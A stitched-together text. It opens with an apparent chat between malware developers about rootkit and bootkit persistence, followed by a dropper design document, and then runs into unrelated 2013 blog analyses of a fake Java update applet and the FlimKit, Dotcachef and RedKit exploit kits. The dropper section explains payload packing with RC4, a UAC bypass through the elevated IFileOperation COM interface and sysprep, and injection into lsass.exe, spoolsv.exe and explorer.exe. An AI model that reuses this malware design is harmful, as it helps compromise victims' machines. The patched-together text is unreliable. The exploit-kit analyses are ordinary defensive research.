>if Windows is reinstalled will the rootkit and my DLLs survive?

No, will not survive.
Not many kits can survive Operating System reinstall.
I'm sure it's doable, but it'll substantially increase the cost and I’m not sure it's really required.

> and you were saying there is some really cool method for bootkit?
> like, not using MBR, but something else... could you give more details please?

Simply saying, we do not use MBR, we use OS boot files.

'krab\source - absource\pro\all source\DropSploit\Краткая характеристика dropper.doc'

Short description:

The dropper starts the 'exe' - registers and executes the 'sys' file. They are embedded into it with special utility 'builder_release'. This utility takes one 'exe' file and one 'sys' file and packages them using RtlCompressBuffer WinApi function and also encrypting them with RC4 and saves to the end of the dropper.dll file. You get a new dropper.dll that extracts 'exe' and 'sys' files from itself when started and executes your 'exe'(as a new process). It will also add the 'sys' file to the system registry and execute it.

The dropped uses different methods to attach to the OS - to make it easier to test, each version of the dropper uses only one attach method. You can create your own dropper.dll by using builder_release.exe utility stored in the project folders. The utility contains a version of a dropper that output the data into debug.

Description of each builder_release.exe version:

1. Starts by loading dropper.dll with LoadLibrary function. Once executed checks what process it belongs to:
- explorer.exe - first, uses COM interfaces to run DLL under UAC. Will attempt to open "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" COM interface. If successful will open IFileOperation interface and disables all file system notifications. Next, it'll save actionqueue.dll into a temporary file and after will inject it with dropper.dll. Next, it'll execute sysprep\sysprep.exe that will start our new DLL. When DLL is executed it'll check if it's running within sysprep.exe process and if it is then will extract 'exe' and 'sys' files and execute them. If failed to execute under UAC, the extraction and execution of 'exe' and 'sys' files happens within explorer.exe process.
- spoolsv.exe obtains debug priviligies and starts itself in lsass.exe. Performs the rest of the action from there.
If DLL is not found in any of the processes above the execution will exit.
2. The same as number 1, but all calls are impemented through 'Start' function.
3. Attempts to attach to spoolsv.exe. if fails attampts lsass.exe. If fails again will attempt to inject itself into explore.exe. If fails to inject will simply extract and execute 'exe' and 'sys' files. Works if DLL was loaded with LoadLibrary() function.
4. The same as number 3, but using Start() function.
5. Starts using lsass.exe. If fails then exits. Works if DLL was loaded with LoadLibrary() function.
6. The same as number 5, but using Start() function.
7. Injects into explorer.exe and performs the rest of the action from there. If fails will still do the rest of the actions but in the current process. Works if DLL was loaded with LoadLibrary() function.
8. The same as number 7, but using Start() function.

Malware: "To click? Or not to click?... Question worth your life savings or identity or both..."

NOTE: information is based on a sample captured on 2013-06-21

Originally thought to be another Unknown EK, this suspicious kit turned out to be nothing but a phoney Java update notification. There is no exploit involved here - just plain and simple attempt to trick users to click 'Yes' on the Security Warning window to allow the applet to run with elevated privileges. 'Goofware' seems to be a suitable tag for this pest, though there is probably a better name for this malware type already.

"Facebook... Google... Bing..."

This throws me back to November 2010 when the first instance of "Facebook 'Love' button" malware was detected by McAfee experts. The sample analyzed in this post has lots in common with it. This time though it spreads under Google's banner. The following is the URL pattern seen:

The referrer for the landing page was Microsoft's Bing service. Searching for 'google ca' through it, yielded the link - 'www.google-ca.com'. The landing page is a complete replica of an outdated Google Search page with a couple of small alterations.

When a web page is saved with IE 4.0 and later, a comment is added to it, just like the one in the image above. It's called 'Mark Of The Web'. It states where the original location for the page is and tells IE's 'Local Machine Lockdown' feature how to treat the file when reopening from the local disk. More details can be found here.

Java JAR file is requested through an <applet>. The only parameter passed to JVM is called 'file' and its value is the first payload URL. No encoding or obfuscation used - all in plain text.

The points to note here:

• 'digital signature cannot be verified...' warning
• 'spaces' are replaced by 'underscores' in the application name
• application publisher is 'UNKNOWN'
• mentioning of Google in the 'From' field - Google does not distribute updates for Java
• 'This application will run with unrestricted access...' warning

Where not all of these points on their own might indicate a malicious nature of this application, collectively they can help to identify it.

The JAR file is signed with a fake 'Sun Java MicroSystems' certificate. Note the date stamp of the files and the certificate - '2010'. Facebook 'Love' button plague started in that year.

"Attention! Kids at play"

There is no obfuscation applied on the code. Variables and methods are named relatively meaningful. No use of 'Reflection' methods. Nothing is fancy about the code at all.

The first payload will be downloaded via URL from the landing page. It'll be stored in the user's 'home' folder with hardcoded filename 'NortonAV.exe'.

System.out.println !??

The URL for the second payload is constructed from predefined strings.

The second payload is stored in the same location as the first one. The filename for it is also hardcoded - 'java_JRE_6_4_5_4.exe'

There is a bunch of methods that are related to working with 'LinkedList' using a custom 'Node'. None of these methods are used though. Looks more like a leftover code.

Both domain names for the payloads do not resolve, so no samples captured.

Summary:

• URL pattern is unique
• does not use any application exploits
• attempts to trick user into giving the application unrestricted access
• carries 2 payloads
• looks like a variant of Facebook 'Love' button malware

FlimKit: URL pattern change - June 2013

The first occurrence of the change has been spotted on 2013-06-12. Thanks to @Set_Abominae and @node5 for the tips.

NOTE: Information is based on a sample seen on 2013-06-17

The following pattern has been seen:

Changes:

• new landing page expression - 'akulatori'
• introduction of JNLP file
• file extension for Java exploit changed from ZIP to JAR
• no POST request for the Initial Payload
• Initial Payload is stored XORed in the JAR file

 Post-infection network activities:

• GET request to 'adyduxuzy.pl/qXKFD4Z7dHp5LnNtYWR5ZHVVdXp5LnA=' for what seems to be encoded configuration/data file

Related links:
http://www.malwaresigs.com/2013/05/22/flimkit/

Unknown EK: "Here's Johnny!"

NOTE: Information is based on a sample captured on 2013-06-14

The exploit kit was delivered through a poisoned advertisement feed. The following pattern has been seen:

Other examples of the pattern and a some detection tips can be found on Malwaresigs.com

"...as seen on TV..."

Request for an ad delivered a JScript that simply assembles a string using a number of other predefined strings.

The result is another JScript that takes the browser to 'www.googlecodehosting.net' hosting the landing page.

part of the assembled JScript

The landing page has yet another JScript with two 'document.writeln' calls. The first one requests a malicious JAR file armed with 'CVE-2012-1723' and 'CVE-2013-1493'. The request is implemented with an <applet> where one of the parameters in it is the Initial Payload URL encoded with 'Base64'.

The second 'document.writeln' call requests a JNLP file. The file is embedded into an <applet> - this allows to encode the content of the file with 'Base64'.

part of 'Base64' encoded JNLP file

'version' attribute of 'j2se' element in the decoded JNLP file is set to '1.7+' - meaning the file will be executed with Java 7 only. The JAR file targeting Java 7 is armed with 'CVE-2013-2423' and will be requested through a slightly different URL. The Initial Payload URL is stored in plain text.

part of decoded JNLP file

"Package full of goodness"

This particular exploit kit sample had only the malicious JAR file delivered through the first 'document.writeln' call from the landing page. The file is fairly obfuscated. The two exploits it caries are separated into two different packages/folders within the JAR. 'CVE-2012-1723' is stored in 'site' package. 'CVE-2013-1493' is stored in 'site/color' package. The exploits do not share any methods - their code is completely separated. 'CVE-2012-1723' exploit code is executed first. Due to the code separation, the Initial Payload filename is created using two different methods.

• payload delivered by 'CVE-2012-1723' is stored in Java Temp folder with hardcoded filename - '1.exe'
• payload delivered by 'CVE-2013-1493' is stored in Java Temp folder with the filename generated using a random number between '0' and '10000' + '.exe'

There is no encryption or encoding used for protecting the Initial Payload file.

Some of the class files, methods and variable names used in the kit are either existing words in Russian or a close variation of ones. The creator of this exploit kit is more likely to know Russian language.

"Ivanoff, Petroff, Smirnoff.... Dotcacheff"

 Quick summary:

• exploit kit URL pattern is relatively unique
• was delivered through Malvertising
• Java Script seems to be a preferred language for the redirect and landing pages
• targets Java only
• JNLP fie is protected with 'Base64'
• armed with 'CVE-2012-1723', 'CVE-2013-1493' and 'CVE-2013-2423'
• Initial Payload URL is stored in 'Base64' format
• no encryption or encoding employed for Initial Payload delivery
• Initial Payload filename depends on the exploit code executed
• creator is more likely to know Russian language

The exploit kit is rather simple, but not as simple as the one seen on 2013-06-07. @MalwareSigs tagged this exploit kit with a catchy name - 'Dotcachef'. Sounds like a Russian surname. Good fit for it, ah. Just need another 'f' at the end to make it look totally cool.

Recommended read:

http://www.malwaresigs.com/2013/06/14/dotcachef/
http://www.basemont.com/new_exploit_kit_june_2013

Update 2013-08-23:

Malforsec's latest analysis on DotCacheF - http://malforsec.blogspot.com/2013/08/dotcachef-short-story.html

RedKit: Change in redirect chain pattern - June 2013

NOTE: Information is based on a RedKit samples seen on 2013-06-12

Samples of redirect chain:

"First thing first"

The redirect page on the first host in the chain has JScript that builds the request to the second host in the chain from an array of integers.

The script's logic is quite simple:

• add '23' to every integer in the array
• build a string by converting integers array into characters
• evaluate the resulting string

After running the script with Kahu's Revelo tool, the following JS code is revealed:

"Second thing second"

The redirect page on the second host in the chain is rather simple

<iframe> with 'onLoad' action calls 'go()' function after 99 milliseconds delay. The function creates a simple HTML document with a <form> and  submits it. The action on the <form> is to redirect the browser to a RedKit landing page. There is a <script> that will also direct the browser to the landing page after 3333 milliseconds - safety net??.

"Last thing last"

In the previous instances, a malicious JAR file targeting 'CVE-2012-1723' would be served for GET requests with Java 6 strings in the User-Agent field, but in this instance the JAR file is armed with 'CVE-2013-1493'. Either the server level check for Java version is no more or the previous exploit has been replaced with the new one - time will tell.